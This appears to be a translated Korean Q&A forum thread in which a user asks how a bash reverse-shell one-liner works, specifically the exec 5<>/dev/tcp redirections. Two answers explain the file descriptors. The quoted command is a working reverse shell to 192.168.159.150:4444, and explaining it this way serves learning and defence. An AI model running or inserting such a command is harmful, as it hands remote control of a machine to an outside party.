보안 조사를 하고 있는데 다음 코드 조각이 Unix 기반 운영 체제에서 어떻게 작동하는지 알고 싶습니다.
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
나는 완전히 알고 있다무엇이 코드는 수행하지만(즉, 포트 4444를 통해 192.168.159.150에 대한 역방향 셸을 설정) 다음 부분이 수행하는 작업을 이해하지 못합니다.
exec 5<>
cat <&5
2>&5 >&5
전반적으로, 이것이 어떻게 결합되어 껍질을 생성하는지 알 수 있습니다.
누구든지 이것을 설명하는 데 도움을 주거나 이것을 이해할 수 있는 올바른 방향을 알려줄 수 있습니까?
감사해요
답변1
빠른 개요:
exec 5<>
읽고 쓰기 위해 새 파일 핸들을 열고 이름을 지정합니다.5
cat <&5
새로 열린 파일 핸들에서 읽기
2>&5 >&5
2
파일 핸들(stderr) 및 파일 핸들(stdout)의 출력을 1
파일 핸들로 리디렉션합니다 5
. 이 경우에는 두 번째 리디렉션에서 파일 핸들 번호가 제공되지 않았기 때문에 1
암시적 입니다.
답변2
귀하의 질문 중 일부에 대한 답변이 완료되었습니다.여기
하지만
- 이는 번호가 5인 새 파일 설명자를 정의합니다. 그런데 0은 STDIN, 1은 STDOUT, 2는 STDERR 파일 설명자입니다.
- TCP, IP 192.168.159.150, 포트 4444를 통해 수신되는 에코 정보
- STDERR 및 STDOUT을 파일 핸들러 5(예: 네트워크)로 보냅니다.